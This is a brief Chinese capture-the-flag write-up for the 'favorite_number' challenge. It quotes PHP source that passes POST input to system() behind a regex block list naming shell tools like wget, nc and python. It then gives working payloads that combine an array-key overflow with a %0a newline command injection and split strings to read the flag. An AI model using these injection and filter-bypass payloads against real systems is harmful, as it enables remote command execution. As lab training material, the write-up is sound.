攻防世界 favorite_number
進入環境得到源碼
<?php //php5.5.9 $stuff = $_POST["stuff"]; $array = ['admin', 'user']; if($stuff === $array && $stuff[0] != 'admin') { $num= $_POST["num"]; if (preg_match("/^\d+$/im",$num)){ if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){ echo "my favorite num is:"; system("echo ".$num); }else{ echo 'Bonjour!'; } } } else { highlight_file(__FILE__); }
審計程式碼發現,通過POST方式傳一個數組,傳入的數組的內容必須與array數組內容全等,但這裡有個矛盾,需要傳入的數組的第一個元素不能為admin,但array數組的第一個元素就是admin,這裡就要利用數組溢出漏洞了,使用如下payload
stuff[4294967296]=admin&stuff[1]=user&num=111
傳入了一個num,並且過濾掉了很多東西,並且經過了兩次正則匹配過濾東西,這裡我們可以使用%0a繞過匹配,以達到執行指令的效果
成功發現flag,但是這裡把flag過濾掉了我們這麼繞過
stuff[4294967296]=admin&stuff[1]=user&num=111%0ab=ag;a=fl;tac /$a$b
獲得flag